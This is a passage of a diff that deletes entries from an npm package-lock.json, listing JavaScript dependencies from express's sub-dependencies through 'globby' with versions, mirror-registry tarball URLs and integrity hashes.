-        "parseurl": "~1.3.3",
-        "path-to-regexp": "0.1.7",
-        "proxy-addr": "~2.0.5",
-        "qs": "6.7.0",
-        "range-parser": "~1.2.1",
-        "safe-buffer": "5.1.2",
-        "send": "0.17.1",
-        "serve-static": "1.14.1",
-        "setprototypeof": "1.1.1",
-        "statuses": "~1.5.0",
-        "type-is": "~1.6.18",
-        "utils-merge": "1.0.1",
-        "vary": "~1.1.2"
-      },
-      "dependencies": {
-        "array-flatten": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/array-flatten/download/array-flatten-1.1.1.tgz",
-          "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI="
-        },
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "ext": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/ext/download/ext-1.4.0.tgz",
-      "integrity": "sha1-ia56BxWPedNVF4gpBDJAd+Q3kkQ=",
-      "requires": {
-        "type": "^2.0.0"
-      },
-      "dependencies": {
-        "type": {
-          "version": "2.5.0",
-          "resolved": "https://registry.npm.taobao.org/type/download/type-2.5.0.tgz?cache=0&sync_timestamp=1615215462572&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftype%2Fdownload%2Ftype-2.5.0.tgz",
-          "integrity": "sha1-Ci54wud5B7JSq+XymMGwHGPw2z0="
-        }
-      }
-    },
-    "extend-shallow": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-3.0.2.tgz",
-      "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
-      "requires": {
-        "assign-symbols": "^1.0.0",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz",
-          "integrity": "sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=",
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        }
-      }
-    },
-    "extglob": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npm.taobao.org/extglob/download/extglob-2.0.4.tgz",
-      "integrity": "sha1-rQD+TcYSqSMuhxhxHcXLWrAoVUM=",
-      "requires": {
-        "array-unique": "^0.3.2",
-        "define-property": "^1.0.0",
-        "expand-brackets": "^2.1.4",
-        "extend-shallow": "^2.0.1",
-        "fragment-cache": "^0.2.1",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz",
-          "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha1-On1WtVnWy8PrUSMlJE5hmmXGxSU="
-    },
-    "fast-glob": {
-      "version": "3.2.5",
-      "resolved": "https://registry.nlark.com/fast-glob/download/fast-glob-3.2.5.tgz?cache=0&sync_timestamp=1618847045365&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffast-glob%2Fdownload%2Ffast-glob-3.2.5.tgz",
-      "integrity": "sha1-eTmvKmVt55pPGQGQPuityqfLlmE=",
-      "requires": {
-        "@nodelib/fs.stat": "^2.0.2",
-        "@nodelib/fs.walk": "^1.2.3",
-        "glob-parent": "^5.1.0",
-        "merge2": "^1.3.0",
-        "micromatch": "^4.0.2",
-        "picomatch": "^2.2.1"
-      }
-    },
-    "fast-json-stable-stringify": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/fast-json-stable-stringify/download/fast-json-stable-stringify-2.1.0.tgz",
-      "integrity": "sha1-h0v2nG9ATCtdmcSBNBOZ/VWJJjM="
-    },
-    "fast-levenshtein": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npm.taobao.org/fast-levenshtein/download/fast-levenshtein-2.0.6.tgz?cache=0&sync_timestamp=1595428000133&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffast-levenshtein%2Fdownload%2Ffast-levenshtein-2.0.6.tgz",
-      "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc="
-    },
-    "fastq": {
-      "version": "1.11.0",
-      "resolved": "https://registry.nlark.com/fastq/download/fastq-1.11.0.tgz",
-      "integrity": "sha1-u5+5VaBxMKkY62PB9RYcwypdCFg=",
-      "requires": {
-        "reusify": "^1.0.4"
-      }
-    },
-    "faye-websocket": {
-      "version": "0.11.4",
-      "resolved": "https://registry.nlark.com/faye-websocket/download/faye-websocket-0.11.4.tgz",
-      "integrity": "sha1-fw2Sdc/dhqHJY9yLZfzEUe3Lsdo=",
-      "requires": {
-        "websocket-driver": ">=0.5.1"
-      }
-    },
-    "fb-watchman": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/fb-watchman/download/fb-watchman-2.0.1.tgz",
-      "integrity": "sha1-/IT7OdJwnPP/bXQ3BhV7tXCKioU=",
-      "requires": {
-        "bser": "2.1.1"
-      }
-    },
-    "figgy-pudding": {
-      "version": "3.5.2",
-      "resolved": "https://registry.npm.taobao.org/figgy-pudding/download/figgy-pudding-3.5.2.tgz",
-      "integrity": "sha1-tO7oFIq7Adzx0aw0Nn1Z4S+mHW4="
-    },
-    "file-entry-cache": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npm.taobao.org/file-entry-cache/download/file-entry-cache-6.0.1.tgz?cache=0&sync_timestamp=1613794272556&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffile-entry-cache%2Fdownload%2Ffile-entry-cache-6.0.1.tgz",
-      "integrity": "sha1-IRst2WWcsDlLBz5zI6w8kz1SICc=",
-      "requires": {
-        "flat-cache": "^3.0.4"
-      }
-    },
-    "file-loader": {
-      "version": "6.1.1",
-      "resolved": "https://registry.npm.taobao.org/file-loader/download/file-loader-6.1.1.tgz",
-      "integrity": "sha1-pvKd+z9ZM6HDULLbqiCsW+BTm6o=",
-      "requires": {
-        "loader-utils": "^2.0.0",
-        "schema-utils": "^3.0.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz",
-          "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=",
-          "requires": {
-            "@types/json-schema": "^7.0.6",
-            "ajv": "^6.12.5",
-            "ajv-keywords": "^3.5.2"
-          }
-        }
-      }
-    },
-    "file-uri-to-path": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/file-uri-to-path/download/file-uri-to-path-1.0.0.tgz",
-      "integrity": "sha1-VTp7hEb/b2hDWcRF8eN6BdrMM90=",
-      "optional": true
-    },
-    "filesize": {
-      "version": "6.1.0",
-      "resolved": "https://registry.nlark.com/filesize/download/filesize-6.1.0.tgz",
-      "integrity": "sha1-6Bvap4DiRR1xTXHA16TzI403rQA="
-    },
-    "fill-range": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-7.0.1.tgz",
-      "integrity": "sha1-GRmmp8df44ssfHflGYU12prN2kA=",
-      "requires": {
-        "to-regex-range": "^5.0.1"
-      }
-    },
-    "finalhandler": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/finalhandler/download/finalhandler-1.1.2.tgz",
-      "integrity": "sha1-t+fQAP/RGTjQ/bBTUG9uur6fWH0=",
-      "requires": {
-        "debug": "2.6.9",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "on-finished": "~2.3.0",
-        "parseurl": "~1.3.3",
-        "statuses": "~1.5.0",
-        "unpipe": "~1.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "find-cache-dir": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-2.1.0.tgz",
-      "integrity": "sha1-jQ+UzRP+Q8bHwmGg2GEVypGMBfc=",
-      "requires": {
-        "commondir": "^1.0.1",
-        "make-dir": "^2.0.0",
-        "pkg-dir": "^3.0.0"
-      }
-    },
-    "find-up": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-4.1.0.tgz",
-      "integrity": "sha1-l6/n1s3AvFkoWEt8jXsW6KmqXRk=",
-      "requires": {
-        "locate-path": "^5.0.0",
-        "path-exists": "^4.0.0"
-      }
-    },
-    "flat-cache": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/flat-cache/download/flat-cache-3.0.4.tgz",
-      "integrity": "sha1-YbAzgwKy/p+Vfcwy/CqH8cMEixE=",
-      "requires": {
-        "flatted": "^3.1.0",
-        "rimraf": "^3.0.2"
-      }
-    },
-    "flatted": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/flatted/download/flatted-3.1.1.tgz?cache=0&sync_timestamp=1611059419064&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fflatted%2Fdownload%2Fflatted-3.1.1.tgz",
-      "integrity": "sha1-xLSJ6ACW2d8d/JfHmHGup8YXxGk="
-    },
-    "flatten": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/flatten/download/flatten-1.0.3.tgz",
-      "integrity": "sha1-wSg6yfJ7Noq8HjbR/3sEUBowNWs="
-    },
-    "flush-write-stream": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/flush-write-stream/download/flush-write-stream-1.1.1.tgz",
-      "integrity": "sha1-jdfYc6G6vCB9lOrQwuDkQnbr8ug=",
-      "requires": {
-        "inherits": "^2.0.3",
-        "readable-stream": "^2.3.6"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "follow-redirects": {
-      "version": "1.14.1",
-      "resolved": "https://registry.nlark.com/follow-redirects/download/follow-redirects-1.14.1.tgz?cache=0&sync_timestamp=1620555246888&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffollow-redirects%2Fdownload%2Ffollow-redirects-1.14.1.tgz",
-      "integrity": "sha1-2RFN7Qoc/dM04WTmZirQK/2R/0M="
-    },
-    "for-in": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/for-in/download/for-in-1.0.2.tgz",
-      "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA="
-    },
-    "fork-ts-checker-webpack-plugin": {
-      "version": "4.1.6",
-      "resolved": "https://registry.nlark.com/fork-ts-checker-webpack-plugin/download/fork-ts-checker-webpack-plugin-4.1.6.tgz",
-      "integrity": "sha1-UFXHA/6883+gZAXUAMEiuQUWf8U=",
-      "requires": {
-        "@babel/code-frame": "^7.5.5",
-        "chalk": "^2.4.1",
-        "micromatch": "^3.1.10",
-        "minimatch": "^3.0.4",
-        "semver": "^5.6.0",
-        "tapable": "^1.0.0",
-        "worker-rpc": "^0.1.0"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-          "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        }
-      }
-    },
-    "form-data": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/form-data/download/form-data-3.0.1.tgz",
-      "integrity": "sha1-69U3kbeDVqma+aMA1CgsTV65dV8=",
-      "requires": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.8",
-        "mime-types": "^2.1.12"
-      }
-    },
-    "forwarded": {
-      "version": "0.2.0",
-      "resolved": "https://registry.nlark.com/forwarded/download/forwarded-0.2.0.tgz?cache=0&sync_timestamp=1622503499867&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fforwarded%2Fdownload%2Fforwarded-0.2.0.tgz",
-      "integrity": "sha1-ImmTZCiq1MFcfr6XeahL8LKoGBE="
-    },
-    "fragment-cache": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npm.taobao.org/fragment-cache/download/fragment-cache-0.2.1.tgz",
-      "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
-      "requires": {
-        "map-cache": "^0.2.2"
-      }
-    },
-    "fresh": {
-      "version": "0.5.2",
-      "resolved": "https://registry.nlark.com/fresh/download/fresh-0.5.2.tgz?cache=0&sync_timestamp=1618846949012&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffresh%2Fdownload%2Ffresh-0.5.2.tgz",
-      "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac="
-    },
-    "from2": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/from2/download/from2-2.3.0.tgz",
-      "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "fs-extra": {
-      "version": "9.1.0",
-      "resolved": "https://registry.nlark.com/fs-extra/download/fs-extra-9.1.0.tgz",
-      "integrity": "sha1-WVRGDHZKjaIJS6NVS/g55rmnyG0=",
-      "requires": {
-        "at-least-node": "^1.0.0",
-        "graceful-fs": "^4.2.0",
-        "jsonfile": "^6.0.1",
-        "universalify": "^2.0.0"
-      }
-    },
-    "fs-minipass": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/fs-minipass/download/fs-minipass-2.1.0.tgz",
-      "integrity": "sha1-f1A2/b8SxjwWkZDL5BmchSJx+fs=",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "fs-write-stream-atomic": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npm.taobao.org/fs-write-stream-atomic/download/fs-write-stream-atomic-1.0.10.tgz",
-      "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "iferr": "^0.1.5",
-        "imurmurhash": "^0.1.4",
-        "readable-stream": "1 || 2"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "fs.realpath": {
-      "version": "1.0.0",
-      "resolved": "https://registry.nlark.com/fs.realpath/download/fs.realpath-1.0.0.tgz",
-      "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
-    },
-    "fsevents": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npm.taobao.org/fsevents/download/fsevents-2.3.2.tgz",
-      "integrity": "sha1-ilJveLj99GI7cJ4Ll1xSwkwC/Ro=",
-      "optional": true
-    },
-    "function-bind": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz",
-      "integrity": "sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0="
-    },
-    "functional-red-black-tree": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/functional-red-black-tree/download/functional-red-black-tree-1.0.1.tgz",
-      "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc="
-    },
-    "gensync": {
-      "version": "1.0.0-beta.2",
-      "resolved": "https://registry.npm.taobao.org/gensync/download/gensync-1.0.0-beta.2.tgz",
-      "integrity": "sha1-MqbudsPX9S1GsrGuXZP+qFgKJeA="
-    },
-    "get-caller-file": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npm.taobao.org/get-caller-file/download/get-caller-file-2.0.5.tgz",
-      "integrity": "sha1-T5RBKoLbMvNuOwuXQfipf+sDH34="
-    },
-    "get-intrinsic": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/get-intrinsic/download/get-intrinsic-1.1.1.tgz?cache=0&sync_timestamp=1612364352840&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fget-intrinsic%2Fdownload%2Fget-intrinsic-1.1.1.tgz",
-      "integrity": "sha1-FfWfN2+FXERpY5SPDSTNNje0q8Y=",
-      "requires": {
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3",
-        "has-symbols": "^1.0.1"
-      }
-    },
-    "get-own-enumerable-property-symbols": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/get-own-enumerable-property-symbols/download/get-own-enumerable-property-symbols-3.0.2.tgz",
-      "integrity": "sha1-tf3nfyLL4185C04ImSLFC85u9mQ="
-    },
-    "get-package-type": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npm.taobao.org/get-package-type/download/get-package-type-0.1.0.tgz",
-      "integrity": "sha1-jeLYA8/0TfO8bEVuZmizbDkm4Ro="
-    },
-    "get-stream": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npm.taobao.org/get-stream/download/get-stream-4.1.0.tgz",
-      "integrity": "sha1-wbJVV189wh1Zv8ec09K0axw6VLU=",
-      "requires": {
-        "pump": "^3.0.0"
-      }
-    },
-    "get-value": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npm.taobao.org/get-value/download/get-value-2.0.6.tgz",
-      "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg="
-    },
-    "glob": {
-      "version": "7.1.7",
-      "resolved": "https://registry.nlark.com/glob/download/glob-7.1.7.tgz?cache=0&sync_timestamp=1620337382269&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob%2Fdownload%2Fglob-7.1.7.tgz",
-      "integrity": "sha1-Oxk+kjPwHULQs/eClLvutBj5SpA=",
-      "requires": {
-        "fs.realpath": "^1.0.0",
-        "inflight": "^1.0.4",
-        "inherits": "2",
-        "minimatch": "^3.0.4",
-        "once": "^1.3.0",
-        "path-is-absolute": "^1.0.0"
-      }
-    },
-    "glob-parent": {
-      "version": "5.1.2",
-      "resolved": "https://registry.nlark.com/glob-parent/download/glob-parent-5.1.2.tgz?cache=0&sync_timestamp=1620073438189&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-5.1.2.tgz",
-      "integrity": "sha1-hpgyxYA0/mikCTwX3BXoNA2EAcQ=",
-      "requires": {
-        "is-glob": "^4.0.1"
-      }
-    },
-    "global-modules": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/global-modules/download/global-modules-2.0.0.tgz",
-      "integrity": "sha1-mXYFrSNF8n9RU5vqJldEISFcd4A=",
-      "requires": {
-        "global-prefix": "^3.0.0"
-      }
-    },
-    "global-prefix": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/global-prefix/download/global-prefix-3.0.0.tgz",
-      "integrity": "sha1-/IX3MGTfafUEIfR/iD/luRO6m5c=",
-      "requires": {
-        "ini": "^1.3.5",
-        "kind-of": "^6.0.2",
-        "which": "^1.3.1"
-      }
-    },
-    "globals": {
-      "version": "11.12.0",
-      "resolved": "https://registry.nlark.com/globals/download/globals-11.12.0.tgz?cache=0&sync_timestamp=1622088036473&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglobals%2Fdownload%2Fglobals-11.12.0.tgz",
-      "integrity": "sha1-q4eVM4hooLq9hSV1gBjCp+uVxC4="
-    },
-    "globby": {
-      "version": "11.0.3",
-      "resolved": "https://registry.npm.taobao.org/globby/download/globby-11.0.3.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-11.0.3.tgz",
-      "integrity": "sha1-mx8MtSPhcd0a2MeyqftLZEuVk8s=",
-      "requires": {
-        "array-union": "^2.1.0",
-        "dir-glob": "^3.0.1",
-        "fast-glob": "^3.1.1",
-        "ignore": "^5.1.4",
-        "merge2": "^1.3.0",
-        "slash": "^3.0.0"
-      }
-    },
-    "graceful-fs": {
